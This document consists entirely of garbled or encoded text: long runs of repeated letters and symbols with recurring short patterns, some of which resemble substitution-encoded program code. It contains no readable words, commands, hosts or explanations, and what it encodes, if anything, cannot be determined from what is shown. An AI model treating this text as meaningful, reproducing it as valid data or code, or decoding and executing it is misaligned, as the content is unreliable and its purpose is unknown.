TeOO/V[^_G\^^FGK^VVXCOOOOGeeeeOOOOO G_G\^]FFOOOOORQOO
CeO G_G\^\FFORQOOK[V\_Ce G]X_	G\^[FFOOORQOOO	
CeeOOOO G_G\^ZFFOOOORQOOO_Cee GV[^_G\^YFFOOOOORQOOO	
CeO GV[^_G\^XFFORQOOOO	 OGK
0_\0[COOOK W	 ^VYY_COK]\FOOOOOO
OK]\OOQOOOG_^W
_	D_YX^[	^FOOOPOOOOOO^OOOOOUOOO_TOOOOOCeOOOOOOFFTeOOOOK0 OROOOOOO/WZ XG\_VFGK^VVXFTeOK	X	
WXXWOOROOOO/0
 GK^VVXFTeOK0WXXOOOROO/0
	 GK^VVXFTeOOOOOO/0 
GK^VVXFTe	OOOOOGK	X	
WXXWFO
OO	
TeO	OOGGFOK0WXX4WZ XG\^WF2OOORRROG]\VB\VFOIIOOK0 OOONRROO	
OOOOOOIIOOK	X	GK0 FFOOOeOOOO
OOOOK0 TeOOOeOOOOOeOOOO
OOO	
TeOeOOOOOOOeO	 OOZZWGK	[00Y\ZCOOOOK ^COOOK0_
X_COK[V\_COK
0 OROFeOOeOK	X	ORO	 OGKV_	^XFOO
OGK
0 FOeOOOO	OOOOGN]X_	G\^VFGKV_	^XFOOOOOOKV_	^XORRROOMMFOO
O	
Te	OOG_G]WXFGKV_	^XFOOOQOOOGZWVY_]\D][V]ZWZFFOO
OOOO	
TeOO	OOGK
0 FOOOeOOOOOOOOOeOOOOOO
OOG  FOO]X_	G]VVFGK
0 COKV_	^XFTeOOOOOG; 
OOOOK]WFOOOOeOOO
OO	
TeOOOOG*
 OK]WFOOeOO
OO	
TeOOeeOOOO
O
TeOOOOTeOOOK
X]OROOOOOOV[^_G\]_FG_G\]^FFOOPOOOO/V[^_G\]^FGK	[00Y\ZCOGeWZ XG\_^FOOOOORQOOK[V\_CeOOOOOOOV[^_G\_]FOOOORQOOO	
CeO_G\_\FORQOOOOGW\WWZZWDZ_FCeOOOO]X_	G\]]FORQOOOOOOK0_
X_CeV[^_G\]\FORQOOOOOK ^CeOOOFFOOOUOO	
TeeOOO	OOG]X_	G\]_FG_G\_ZFFOIIOOOOO00
 GK
X]FFOOOeOOOOO

	OGK
X]FOOOOOeOOK Y]0ZOOOROOOGFOO0
 
0


0
 
0 
GK
X]FTeeeeK0	_	ZZ\W\]OOOROO0
 
0


0 GK
X]FTeOOOOOK\V	V	VORO0
 
0


0

GK
X]FTeeeeK _[]W_VZOOOROMMTeO	OG_G]\WFGK\V	V	VFFOOOOeeeOOOOOO	 
OOGK\V	V	VOOOK
V]OORQOOK]0X	_FOOOeOOOOOK _[]W_VZOOOOOAROOOOOK
V]OAOOOWZ XG\][FOOOOAOOK]0X	_OAOOO]X_	G\]ZFTeOeeO	OGK Y]0ZOORRROOOG^W\D^XFOOOOOIIOOOOK	X	GK0	_	ZZ\W\]FFOOOeOOO
OOK0	_	ZZ\W\]TeeeeOOOOOOO

OOOeOOOOe	OOOGWZ XG\]YFG]X_	G\^_FFOIIOOO]X_	G\]YFG_G\^^FFOIIOV[^_G\]YFG_G\_VFFFOOOOeK^VVXORO/]X_	G\^_FGK	[00Y\ZFTe	OOOGK^VVXOORRROOO	
FOOOeeeeO
OO	
TeOOeeOOOKWYXV OOOROGFTeOOOO	 
OOOOOGK0_
X_OOOOOOOOK
V]OOORQOK]0X	_FOOeOKWYXV 42OROOOOOK
V]OOAOOOV[^_G\][FOAOK]0X	_TeOeOOO/]X_	G\]XFGK^VVXCOOOGeOOO G]X_	G\]WFFOOOORQOOO
CeOO GWZ XG\]VFFORQOOOOOK ^CeO GV[^_G\^]FFOOORQOOOO
CeO G_G\^\FFOOORQOOOK[V\_CeOO G_G\^[FFORQOOOOOO	
CeOO G]X_	G\^ZFFORQOO_CeOOO GV[^_G\\_FFORQOOKWYXV CeOO GWZ XG\^YFFOOOOOORQOOO	
CeOOOO GWZ XG\^XFFOOOOORQOO	 OGK
0_\0[COK W	 ^VYY_COOOOK]\FOOO
OOOOK]\OOOOQOOOOGVZY_[YZB^^X^WZXFOPOO^OOOOUO_TOCeOFFTeK0 OOOOROO/WZ XG\_VFGK^VVXFTeOOOK	X	
WXXWOOOOROO/0
 GK^VVXFTeOK _^^__	OOOROOOOOO/0
 GK^VVXFTeeeOOOK0WXXOROOO/0
	 GK^VVXFTeOOOKZWOOOROGFOK0WXX4WZ XG\\^F2Te	OOOGK	X	
WXXWFOOOOe/0 
GK^VVXFTeOO
OOO	
TeeeOOO/0 
GK^VVXFTeeeeOO	OOOGKZWORRROOOOOOG_X_D_ZWFOOIIOOOK0 OOOOONRROO	
OIIOOK	X	GK0 FFOOOOeeeeO
OOK0 TeOOOeOOO	OGK0 FOOeeOO
OO	
TeOOOOe
OOO	
TeOOeOeeOO	 O^[_VZ][GFeeeeOK  V[X[OOOOROOY_]XGFTeOOOOK 
Z0	
[OROO \^_	WX_GFTeOOeO	OOOOOG
GK  V[X[FOOOO
GK 
Z0	
[FFOOOOOeOOOO
OOOOOGFTeOOOOeOeOOKW_Y0	\OROWZ XG\\]FGWZ XGYYFFOOPOOGFOO
0  G]X_	G\\\FCOOMMFOOUOOOOMMTeOOO	OOOGKW_Y0	\ONRROOOOOMMFOeOOOOOK 
Z0	
[OOOORO_GX]FG]X_	G\\[FGK 
Z0	
[COOOGKW_Y0	\FFFTe_G\\ZFGK 
Z0	
[COOOOOKW_Y0	\FTeOOOOOOeOOeOK^[] V\0OOOROWZ XG\\YFGK  V[X[4WZ XG\\XFGK  V[X[F2FTeO	OOOGK^[] V\0ORRROMMFOeOO
OOOOOGFTeOOeOOOOeeeeOOOOOK ^OOOOROOOOOOWZ XG\\WFOOOOAOOOOOK^[] V\0OAOOOOV[^_G\\VFTeeK
	VZY^]^OOOROOOGWZ XG\[_FOORQOOOO_G\[^FFTeK]XZVVOROO_G\[]FG
FTeO	 
OGK 
Z0	
[OOOOOK[]WFOeOOeOO	OOOGGV[^_G\[]FG
FOOOBOOOK]XZVVFOOQOOOOG_^D_^]FFOOe
TeeOOOOOeK[]WOORO]X_	G\\YFGGFOOOOK[]WFTeOOOOO	OOOOOOGK[]WOOOOOORRROOOMMFOOOeOO 
TeeOOOOOeK0	_	ZZ\W\]OOOROOZZWGK[]WCOOK ^COK
	VZY^]^COG_[D_^FCO	 OOGKV_	^XFOOeK VV XOOROOOO/_G\[\FGKV_	^XCOO
FTeeeeOOOOOO
OOWZ XG]\WFGK VV XFOOOIIOOOO
GK VV X4V[^_G\[[F2FTeeeeOOOOFTeOO	OOGK0	_	ZZ\W\]ORRROOO	
FOeeeeOO 
TeOOeeKVX_OROO/_G\[ZFGK0	_	ZZ\W\]CO
FTeO	OOGNOOOOWZ XG\[YFGKVX_FOONOOO
GKVX_4WZ XG\[[F2FOOOOOOONO]X_	G\^VFGKVX_4]X_	G\[[F2FFOe 
TeOeeeeOeOOOOOK
YV^OOROOOOKVX_4_G\[[F2TeOO	OOOGWZ XGWFGK
YV^COWZ XG\[XFFOOOOOORRRO_FOOeeeeOK
YV^OOOOROOV[^_G]_]FGK
YV^CO]FTeOOeOOeeeeOK[	
]OOOROO/WZ XG]WVFGK
YV^FTeeO	OOOGK[	
]OOOORRROO	
OOOOOOOOWZ XG]WXFGK[	
]FOSOOOOGVXB\\FFOe 
TeOeOOOOOeOOK 0OOROG_\WD_XFTeOOOKW]ORO]X_	G\[WFGK[	
]4K 02FTeKY[OOROOO]X_	G\[VFGK[	
]COOK 0OODOOOO^COOKW]FTeOOOO	OOOOGNOO]X_	G\^VFGKY[FOOO]X_	G]WXFGKY[FOOOSOOOOG_^D_]FFOOOOOeeee 
TeOOOOeOeOOK_]OOOROOOO_G\[WFGKY[4_2FTeO	OOGK_]OSOOO^OOO]X_	G\Z_FGKY[FOOSOOOO^OOOOOODOOK_]OODOO^FOOeOO 
TeOeOeOKXX
]OOROO]X_	G\[VFGKY[COOOO^COOOOK_]FTeOOOK0]V]W[]V^	OROOOOOOV[^_G\Z^FGKY[COO^OOODOK_]FTeOOOO	OOGNOWZ XG\Z]FGKXX
]FOOOOOONOO_G\Z]FGK0]V]W[]V^	FFOOOeO 
TeOeeeOOOeOOOOOOK
XOOROOOO	\
^Z]\GK0]V]W[]V^	COOOKXX
]FTeOOOOOOOO	OOOOOOGNOO_G\Z]FGK
XFOOOO_G\Z_FGK
XFOOOSO]FOOeOZ[^YZZGWZ XG\Z\FCOOOV[^_G\Z[FFTeO 
TeOOeeOeOOOOK^0]  \OOOOOROOO]X_	G\[WFGK
X4_2FTeOOOO	OOOOGK^0]  \OOSO^OOOOWZ XG\ZZFGK
XFOOOOSOOOO^OODOOK^0]  \FOOOOOeZ[^YZZG_G\ZYFCOOWZ XG\ZXFFTeOOOO 
TeOOeOOOOOOeOOOOOOKZOOROOOO_G\ZWFGK
XCOOOOO^COOOK^0]  \FTeKYZX0YZ[YOOOOOROOOV[^_G\ZWFGK
XCO^OOOOOODOOK^0]  \FTeOOOOOK_\__]XOOOROO_GX]FG_G\ZVFGV[^_G][]FG_G\\YFCOO]X_	G\Y_FGV[^_G\Y^FCOKYZX0YZ[YFFFFTe	OOOOG]X_	G\Y]FGWZ XG]]XFFFOe
0  G_G\\\FCOOOK[]WFTeO
0  GV[^_G\Y\FCOWZ XG\Y[FGM3MCOOK_\__]XFFTeOeOO
OOOG]X_	G\YZFOOOOORQOOOKZCOV[^_G\YYFOORQOOK_\__]XFTeeeeOOOOOOOOOOG; 
OOK]WFOOeOOOZ[^YZZGWZ XG\YXFCOOK]WFTeOOO 
TeOOOOG*
 OK]WFOeO 
TeOOeeeeOOOOeOOK
V_0
ZOOOROOOO_G\Y]FG_G\YWFFOOPOOGFO
0  G]X_	G\Y\FCOOOMMFOUOMMTeKV WV
[]_
OOOROOO
V[[
0[G_G\YVFCOMMFTe	OOOGK
V_0
ZONRROOMMOOIIOO_G\Z]FGKV WV
[]_
FOOIIOOKV WV
[]_
OOONRROOOOMMFOOOOeOK_\__]XOOORO]X_	GX]FG_G\X_FGWZ XG\X^FG]X_	G\\YFCO_G\X]FG]X_	G\X\FCOK
V_0
ZFFFFTeOOO	OOGNO
GK_\__]XFFOe
OGV[^_G\YZFOORQOOOOOKV WV
[]_
COOWZ XG\YYFOORQOOK_\__]XFTeOeOOeOOOZ[^YZZGV[^_G\YXFCOOWZ XG\X[FFTe
OOOGFTeOeOO	 OOZV0^	GK

]  _YCOOOK\W0COOOK	WFeOOeO	OOGNOWZ XG\XZFG_G\XYFFFOeOO
OO	
TeOeKZV^
OOOOROOOOOWZ XG\XXFGK\W0FTeOOOK0 [[OOROO_G\XWFG_G\XVFG^COOOG][ZD^_FFFTeOK_]
W] OROMMTeOOOO	 OOGK[ XZ	OOOROOOO_COOK[\YOOROWZ XG\W_FGKZV^
FTOOOOOOK[ XZ	OOSOOOOOOK[\YTOK[ XZ	DDFOOOOeeeOOK_]
W] OOOOAROOOOOWZ XG\XWFGWZ XG\[WFGKZV^
4K[ XZ	2FO1OOOOOOV[^_G\W^FGK0 [[FFTeOOOOOee
O
0  GK

]  _YCOOOOV[^_G\W]FGK0 [[OOOAOOOK_]
W] FCOOK	WFOOOONRROO	
TeeeOeOOeeOO	 OOO
_[
][	GK

]  _YCOOK
0Y
ZFeeOOOOOeOOOO	OOOGNV[^_G\XZFGV[^_G\W\FFFOO
OK
0Y
ZTeeeeOK ^_ ]OOORO
0  GK

]  _YCOOOOMMFTeO	OOOGK ^_ ]ORRROMMOOOONOOOWZ XG\Z]FGK ^_ ]FFOOeOOO
OOOOOK
0Y
ZTeeeeOOOeeeOOK	_\0YXOOOOROOOO/_G\W[FGK ^_ ]COO
FTe	OOGK	_\0YXOORRRO	
OOOOOO_G\WZFGK	_\0YXFOOSOO]FOOOOeOO
OK
0Y
ZTeOOOOOOeOOOOK0 [[OOROOOOOK	_\0YX4_2TeK\ _	[OOOOOROOOOMMTeOO	 OOGK[ XZ	OOOROOOO^COOK[\YOROOWZ XG\WZFGK	_\0YXFTOOOOK[ XZ	OSOOOOK[\YTOOOK[ XZ	DDFOOOOeOOOOK\ _	[OOOOAROO]X_	G\XWFG]X_	G\WYFGK	_\0YX4K[ XZ	2FOOOO1OO]X_	G\WYFGK0 [[FFTeOOOOOOOeOOK
0[]0OROO] \_Y[ XGK\ _	[FTeeeOOO
OK
0[]0OOOOOONRRO	
OOPOOOK
0[]0OOOUOOK
0Y
ZTee	 OOOO] \_Y[ XGKY[FeOe	OOOGN_G\Z]FGKY[FFOOO
O	
TeeO	OOG
	
G]X_	G\WXFFOOOOIIOOOO?'?09*=<& !0&+OOQROOOOG[W]V]D]^X_WFFOe
OO/_G\WWFGKY[COOG]X_	G\WVFOOORQOOOOO	
FFTeOOeOOO
OOO/]X_	G\WWFGKY[FTeOeOOOOOOO	 OOOYY_]Z^ZY	GFeOeOOK
V]OOOROOOOOTeOOOO	OGK
V]OONRROOFO
OOK
V]TeOOOOK[	0XYOOOOOROOOOO
	
GV[^_G\[FFOPOOO.-<?.;'OOOOOUOOOMMTeK
V]OROOWZ XG\V_FG]X_	G\V^FGH33HCOOH@HCOOOOOOK[	0XYFCOH@HFOOOOAOH@HTeO
OOK
V]TeOOOeeeOOOOO	 OOO  0Y_^	GK

]  _YFeOOOe
OW
W\0]GYY_]Z^ZY	GFOOAOOGFO\[[
VVGFOOAOOK

]  _YCOOOOG^Z_1^Z[FFTeOOOeOOOO	 OOOY ZXV]	WZGKY]  FeOOOOOOeOO
OGFOOGG^][\[]X[DXWZYZX]YFOOODOOGGFO

GV[^_G\ZWFG]X_	GVZFGYY_]Z^ZY	GFOOAOOO]X_	G\V]FOAOKY]  FCO_COOG]^Z1]_WFFFOJOGWVVVV_YDV\FFFTeeOOOOOOe	 OOOO[ZY_]ZWZ_GFeOOeO
OOY ZXV]	WZG_G\V\FFTeeeOOOOOOOeOOOO	 OOOO
_		
GFeOeK]W	0V]Z ]OOROGFOOO
V[[
0[G_G\V[FCOOOMMFTeOOOO
OOWZ XG\WZFGK]W	0V]Z ]FOOQOG\DXFOOIIO]X_	G\VZFGK]W	0V]Z ]COO[ZY_]ZWZ_GFFOOONRROOO	
OOIIOV[^_G\WZFGGFOO
V[[
0[G]X_	G\VYFCOOMMFFOOOQOOG^[\B[\FTeOOOOOOOeOeO	 OOOOO
V[[
0[GK

]  _YCOOOK
0Y
ZFeeeOOOeeOOOO
OO
_[
][	G  0Y_^	GK

]  _YFCOOK
0Y
ZFTeOeO	 OX\VXGK

]  _YCOK
0Y
ZOROOMMFeOOOOeOOOOOK]0X	_OOROO
V[[
0[GK

]  _YCOK
0Y
ZFTeOOO	OOOG_G\Z]FGK]0X	_FFOOOO
OK]0X	_TeOOOO	OOOOG]X_	G\VXFGK]0X	_FFO
OOOOGFOOOOK]0X	_TeOOOOOOOO
OK
0Y
ZTeOOeOO	 OO	\_\YGK

]  _YCOK\W0COOOK	WFeOOeZV0^	G  0Y_^	GK

]  _YFCOOK\W0COOOOK	WFTeOOOeOOOO	 OOOOO
][_	
X0XZGFeeeOOOOOeeeeOOOOOOOKVV \WW_OORO
GK(# -.#<4WZ XG^]YF2FOOPOOOK(# -.#<4_G^]YF2OOOUOOOOGFTeOOK ^_ ]OOOOROOO
V[[
0[G_G\VWFCOOOOOGFFTeO	OOOOOGV[^_G\[YFGK ^_ ]FFOOeOOOKVV \WW_OOOROOV[^_G\VVFGK ^_ ]COOOOOOKVV \WW_FTeOOOOOOeOKVV \WW_OOOOOROOWZ XG[__FGKVV \WW_FTeeeOOOO
OO_G[_^FGKVV \WW_COOBGW[B\[FFTeOe	 OOO^ 	\ 
	_]
\GFeeeeOO	OGN
GK(# -.#<4]X_	G^]YF2FOOOOOOOOOO
GK(# -.#<4V[^_G^]YF2FFOOO
TeOOOOOOeOOOK ^_ ]OOROOO
V[[
0[GWZ XG[_]FCOOGFFTeOOK_V\0WOOROO]X_	G[__FG]X_	G\VVFGGFK ^_ ]COK(# -.#<4V[^_G[_\F2FFTeK_V\0WOROOOO_G[_^FGK_V\0WCOOOOBG_YD_]FFTeeOOO	\_\YG]X_	G[_[FCOK_V\0WCOV[^_G^XVFFTeOOOOOOOG; 
OK]WFOOOOOeOOOZ[^YZZGWZ XG[_ZFCOOOK]WFTeeeeOOOOG*
 OK]WFOOOeeeOOOOOOOOeOOOeeeeO	 OOOOO	\
^Z]\GKY[COK
FeeOOOO	OGNO]X_	G\Z]FGKY[FOOOONOOOOO]X_	G\Z]FGK
FOOOOOWZ XG\WZFGK
FOORRROO_FOeOOOOO
OTeOOeK
Z^VWOOROOOOO_G\WZFGKY[FTeOOKVWV	]]OOOROWZ XG\WZFGK
FTeeeeOOK
VY0OOOROOOMMTeOOOOOOO	 OOOGK[ XZ	OOORO_TOOOK[ XZ	OOSOOK
Z^VWTOK[ XZ	DDFOOOOeOK
VY0OAROOV[^_G\XWFG_G[_YFGKY[4K[ XZ	2FO1OOO_G[_XFGK
4K[ XZ	OOJOOKVWV	]]2FFTeOOOOOOe
OOOK
VY0TeOOOeeeOOOOeOOO	 OO[ GK 
^_0FeOOOOOOeOO	OOOGNOV[^_G\[YFGK 
^_0FFOeOOOOOOK 
^_0OOROGFTeOOOOOOOOeOK 

0VOOROOZ0WVW V 
[GFTeK^^
YOOROV[^_G\XZFGV[^_G[_WFFOOOPOO
_[
][	G_G[_VFCOOOOO	
FOOUOO	
Teee	OOOG]X_	G\[YFGK^^
YFOIIOO
GK^^
Y4V[^_G[^_F2FOOOIIOGFOOK^^
Y4V[^_G[^_F2OOQROOOG]]VDX^FOOOOOIIOOGFOOK^^
Y4_G[^^F2OOSROG\[]_]DZ]^VWFFOOK 

0VOROGFOOK^^
Y4_G[^]F2TeO	OOOGK 

0VOOOOOSOOOOOG]_D[_FFOOOeK 

0VOOOROOOG\ZWVD^^FTeeeeeOOK 
^_04WZ XG[^\F2OOROGeOOOOOOOV[^_G[^[FOOORQOOOK 

0VCeOOV[^_G[^ZFOORQOOOOV[^_G[^YFCeOOOFTeOOOOK 
^_04]X_	G[^XF2OOOROOOGeeeO]X_	G[^WFORQOGZ_WDV]FCeeeOOO]X_	G[^VFORQOOV[^_G[^YFCeOOOOFTeOO
OOOOOOK 
^_0TeOOeOOeO	 O\X^]^\ZGFeOOeOOOOO	OOOOOGN]X_	G[]_FG]X_	G[]^FFOOOOOONV[^_G[]]FG]X_	G[]\FFFOOO
TeOOOOO	OGN
]		VY ^Z\XG]X_	G[][FFFOOOOOO
TeOOOOOOeO	OOGN0
0

GX X[Y\Y]GFFFOOOeO0

0

GV[^_G^XZFGFOOODOWZ XG[]ZFGG^_[B[[FCOOOG]]VDX^FFCOOOOO_G[^\FCOOX X[Y\Y]GFFTeOOeOOOO	OOOOeOWY ]]V\0YGV[^_G[][FFTeOeOOeOOOeOOO	 OYV0GFeeOOOOOOeOe	OOG
	
G_G[]YFFOOOIIO+ &!(0,= !FOeOOOOO
TeeOOOeOeOOOOKVV_VOOOROOOOO	
TeOOO	OOGKVV_VFOOO
TeeOOOKVV_VOROO
TeOe	OOOGNO[ ^_GFFOOeO
TeOeOOOOOe
X
 X^GWZ XG[]XFCOOO]X_	G[]WFCO_FTeOOOOOOOeOOO	 OOOOYW[

\ZGFeOeOOO	OOGNWZ XG[]]FG_G\__FFOOOOOON_G[]]FGWZ XG[]VFFFOOOOO
TeOO/]X_	G\__FG
0GWZ XG[\_FOOAOV[^_G[\^FGHAHCOOOMMCOOGFOOOO_G\[]FG
FFOOOAO_G[]ZFGG_]D_\VFCOOGVZYD[\FFFCOGWZ XG\_^FOOORQOO_A_^COO]X_	G[\]FORQOO	
COOOV[^_G\_]FOOOORQOOOO	
FFTeOOeeeeOOOOOO	 OOO	ZZ]Y
[GFeOOOeOOOOOOOOK00X[ZOOOOROO	
Te	OOGK00X[ZFOOOO
TeOOOK00X[ZOROO
TeOOOOOOeeOOK\XX[WOROOOOO	
TeOOOOOO	OOG]X_	G[]]FGWZ XG[\\FFFOOOOOeOO]X_	G[\\FGFTeK\XX[WOOOROO
TeOOOOOOO

	OOOG]X_	G[\[FG_G[\ZFFFOOOOeOOOOOWZ XG[\YFGFTeOOOOOK\XX[WOOROO
TeOOOO

OeO	OOOOOOG]X_	G[\[FGWZ XG[\XFFFOOOOeOO/V[^_G[\WFG
FTeOOOOOOOeOK\ ZOOOROOV[^_G[\[FG_GV_FFOOOIIOOOO/]X_	GV_FGWZ XG[\VFFTe	OOOGN

0
GFOIIOONK\ ZOOIIO_G[[_FGFOOORRROOOO^OOOOOOIIOOOOV[^_G[\[FG]X_	G[[^FFFOOOeeeeOK0OOOOROOO/ 0
0
GFTeeOO	OOOOGK0OONRROOOO	
OOIIOOOK0OOQOO_FOOeeeeOOOOOO/

GWZ XG[[]FOOAOK0FTeOO/

GWZ XG[[\FFTeeOOOOeeO	OOOOOGV[^_G[[_FGFFOOOeO/V[^_G[[[FGFTeOOeO/WZ XG[[ZFGFTeeOOOOOKVYZ	_OOROO]X_	G[\[FG_G[[YFFOOOIIOONG
	
G_G[[XFFOOOOOIIOO+&<.-#*08?0,= !FTeOOOOK ^0VOORONWZ XG[\[FGV[^_G[_WFFOOOOOOOGFOOOO
0  GV[^_G[[WFCOO_FOORRROOOOO_TeOO	OOOGNK ^0VOOOIIOOOOOOV[^_G[[VFGWZ XG[_WFFOIIOV[^_G[[VFGV[^_G\XYFFFOOeOOOOK_W\XX
OOROGFOOOO
0  G_G[Z_FCOMMFTeOOOO	OOOGK_W\XX
OOOONRROOV	_00YGFFOOeeeeOO/
0  GWZ XG[Z_FCOV	_00YGFCOWZ XG^XVFFTeOOOO/
0  GWZ XG[[WFCO_COOV[^_G^XVFFTeOOOOK ^0VOOROOOOO
TeOeOOeOKVVVOOROOOO	
Te	OGKVYZ	_OOOIIOOOO]X_	G[Z^FG_G[Z]FFFOOOOeOKZ ]Z[ZOOROO0
0

GX X[Y\Y]GFFTeOOOO	OOGKZ ]Z[ZOOIIOGV[^_G[Z\FGFOOOBOOGFOOOOKZ ]Z[ZFOOOQOOOOGX^]WDX]FFOOeOOKVVVOORO
Teeee	OOOOG_G[Z^FG]X_	G[Z[FFFOO/0

0

GGFOOOOOOKZ ]Z[ZCOOOOOX X[Y\Y]GFFTeeOOe	OGKVYZ	_OIIOOOOONK ^0VOOOIIOOONKVVVFOeeeOOOK_]]XZOORO]X_	G[ZZFG_G[Z]FFOOOOPOOOOOOGFO0
0

GX X[Y\Y]GFFOOUOO_TeeeOO	OOOOGK_]]XZOOOOSROOO_OOOOK_]]XZOOOOBOOWZ XG[Z\FGFOQOOGW_ZDVZFFOOOeOOOO/0

0
0

G]X_	G[Z\FGFCOOX X[Y\Y]GFFTeOOOOOeeeOY]_WGFTeOOOOO
TeeOO	OOGKVVVFOZ[^YZZG_G[ZYFCOO]X_	G[ZXFFTeO	OOOOGNK\XX[WFOeOO	OOOGKVYZ	_FO/0

0
0

G_G[Z\FGFCOOOOX X[Y\Y]GFFTeeeOOYW[

\ZGFTeeeY]_WGFTeOOO
Teeeee	OOOG]X_	G[ZZFGV[^_G[ZWFFFOO/V[^_G[ZVFGGW^1]]VFFTeOOOOOXW^VGFTeOOOOOOOOOOOG; 
OOK]WFOOeOZ[^YZZG_G[]XFCOOK]WFTeOOOOOOOG*
 OK]WFOOOOeOeOOOOeOOe	 O [Y_0GFeOeeeeOOOOOOeOOOO	OGNOOOO_G[ZZFGWZ XG[Y_FFFOOOeOOO
TeeeOOOOOeOOeOK
WX ZOROOOOO]X_	G[ZZFGWZ XG[Y^FFOOPOO
0
G	[\Y
GFFOOOUO	
TeOOOOOOOO	OGNOV[^_G\[YFGK
WX ZFFOK
WX ZOOOOORO
_[
][	G_G[_VFCOO	
FTeeee	OOOOGNOO_G\[YFGK
WX ZFFOOe
TeOOeeOOeOOO	OOOOOG
GK
WX Z4_G[Y]F2FOOOOOIIOOOOWZ XG[Y\FGK
WX Z4]X_	G[Y]F2FFOOOOOeeOK(# -.#<4V[^_G[Y[F2OOOROOOY\] ]GK
WX Z4_G[Y]F2FTeOeeOOOOOO	OOG
GK
WX Z4WZ XG[YZF2FOOIIOOOOWZ XG[YYFGK
WX Z4V[^_G[YZF2FFOeOOOOOOK(# -.#<4]X_	G[YXF2OROOOOOY\] ]GK
WX Z4V[^_G[YWF2FTeeeOeOOOOeeeOOOOO	OOG
GK
WX Z4WZ XG[YVF2FOOIIO]X_	G[X_FGK
WX Z4WZ XG[YVF2FFOOOeeeeOK(# -.#<4V[^_G[X^F2OROOK
WX Z4WZ XG[X]F2TeeOe	OOOOG
GK
WX Z4]X_	G[X\F2FOIIOOOO]X_	G[X[FGK
WX Z4V[^_G[XZF2FOOIIOOWZ XG\WZFGK
WX Z4V[^_G[XZF2FOOQOOG^WW1^[]FFOeOK(# -.#<4WZ XG[XYF2OOROOOOK
WX Z4_G[XZF2TeOOOeOOO	OOG
GK
WX Z4V[^_G\V\F2FOIIOOOOO_G[X[FGK
WX Z4WZ XG\V\F2FOOOIIO]X_	G\WZFGK
WX Z4_G\V\F2FOOOQOG]ZSS]FFOOeOOOK(# -.#<4V[^_G[XXF2OOROOOOK
WX Z4V[^_G[XWF2TeOeeeOOOOOOOOOG; 
OOK]WFOeOOOZ[^YZZGWZ XG[XVFCOOOOOOK]WFTeeOOOOOOOG*
 OOOOK]WFOeeeeeOOeOOeOO	 OOO
]ZV_[	[\ XGFeeOOOOOeeOO	OGNV[^_G[ZZFGWZ XG[Y_FFOOOON_G[ZZFGV[^_G\XYFFFOO
Te	OOGGFOO
0  GV[^_G[W_FCOOO_FOOQOOOO]X_	G[W^FGFOBOOG]VD\ZX^FFO
TeOOOOOOOO	OOGWZ XG[W]FG_G[Y^FFOOIIO
0
G]X_	G[W\FFFOO
TeeeeK ]0OOROOO
V[[
0[G_G[W[FCOMMFTe	OOGNWZ XG[X[FGK ]0FOOOOOOWZ XG\WZFGK ]0FOOOOSOOOG[Z[D[YFOOOOO ^Y\^X_WGK ]0FOOOOOOON
[X
 Z]Y
GK ]0FFOOOOeK ]0OOROO	
TeeeeOOOOK YX		OOROOO/V[^_G]_VFG []]^
 XGFFTeOO	OGK YX		OOOOOOIIOOOOK YX		OQOOOG[Z_DZ_FOIIOOOOK YX		OOOSROOG_][ZZX_D_]V_FFOOOOeeeeOK		[X0V
OOOOORO/WZ XG[WZFG []]^
 XGFFTeO	OGWZ XG[WYFGK		[X0V
FOOOIIO_G[WXFGK		[X0V
FOOQOOOG^_[WZ\YD[_FFOOK		[X0V
OOOOOOROXX[WZGK		[X0V
FTeOOO	OOGV[^_G[WWFGK		[X0V
FOIIOOON ^Y\^X_WGK		[X0V
FOOIIO
[X
 Z]Y
GK		[X0V
FFOOOOOOeOOO	\_\YG_G[W[FCOK		[X0V
COOOO]X_	G^XVFFTeOOOOK ]0OOOOROOK		[X0V
TeOOeeeeeO	OOOOOGNK ]0FOeOOOOO/
0  GWZ XG[WVFCOO]X_	G[V_FGFCOOV[^_G^XVFFTeOOOOOO
TeeeOOOOK[W]OOOROOG []]^
 XGFFTeOKOOORO[\
W^^WGFTeOOOOKY\W[0V_[ OROOOOO XZWV	[YGKFTeO	OOOGV[^_G[V^FGKY\W[0V_[ FFOOe	 
OGKY\W[0V_[ OOKV^VFOOOeOO	OOGWZ XG\ZWFGKV^VCOOBG]D]FFOOOOORRROO_GZ_FFOOK[W]42OOOOROKOAOH@HOAOOOKV^VTeOeeeee	OOOOG
	
G_G[V]FFOIIOOOOV[^_G[W]FGWZ XG[V\FFFOOeOO	 
OOGGFO/_G[V\FG8?0?#:(&!0+&=OOAOO_G[V[FFOOOOOKVV\\V\FOOK[W]42OROKVV\\V\TeeeeeK[W]OOOOOROV[^_G[VZFGK[W]FTeeOOOOOOOK ^]ZZ ^OOROGFTeKX	V]\
OOOOOROOOOWZ XG[VYFG]X_	G[VXFGWZ XG[VWFCOMMCOWZ XG[VYFGK ]0COOO_COGW[W\XB^V\_^FFFCOOO_COG]\_]B]Z[FFTeee	 
OOGK[W]OOK[	0XYFOeOKZ	0OORO/WZ XG[VVFGK[	0XYFTe	OOOGNKZ	0OOOKZ	0OOOOSROOOOOGVWZWYDV[VVV_FFOO 
TeOOK0[[]VOOOOROOO/_G[WZFGK[	0XYCOOOOO	
COOCOO_COOG^^Z\ZYB[VW]_FFTeO	OOGN_G[WWFGK0[[]VFOOOOOON ^Y\^X_WGK0[[]VFFOOO 
Te	OOGK[	0XYOONRRO []]^
 XGFOIIOOOV[^_G[VYFG_G[VXFG]X_	G[VWFCOOOOMMCOOK0[[]VFCO_COOOG^VVWDZ_FFOOOONRROOOKX	V]\
FO 
TeeeOOK ^]ZZ ^42OOOOROOOK[	0XYTeOOOOOOeO	OOOOGNK ^]ZZ ^FOOeeeOOO	OOOOG_G[W]FGWZ XGZ__FFFOO
0
GV[^_GZ_^FCOOO^COG_^WWD__FFTeOO
TeOOOOeOO/
0  G_GZ_]FCO_G[V_FGFCOOOO_G^XVFFTeOOOOO	 
OGK ^]ZZ ^OOOOOK^\V__FOOOOeOOYXYW][GK^\V__COOOOOGZWD\Y]FFTeOO	OOOOG]ZVGK^\V__CO  	
_0VGK ]0FFFOOOeO^]X
VGK^\V__FTeOO^Z^V
V0GK^\V__FTeOOOOYXYW][GK^\V__COOOOOG\ZWBYYFFTeOOOOY
XGK^\V__FTeOOOO	OOGK^\V__ORRROOO []]^
 XGFFOOOeV X[G
FTeOOO\Y]__	
WG
FTeOOeOOOOOO

OeeeOYXYW][GK^\V__COOGZXYB]W[FFTeOOOOeOeOOOG; 
OK]WFOeZ[^YZZGWZ XGZ_\FCOOOOOK]WFTeOOOOOOOOG*
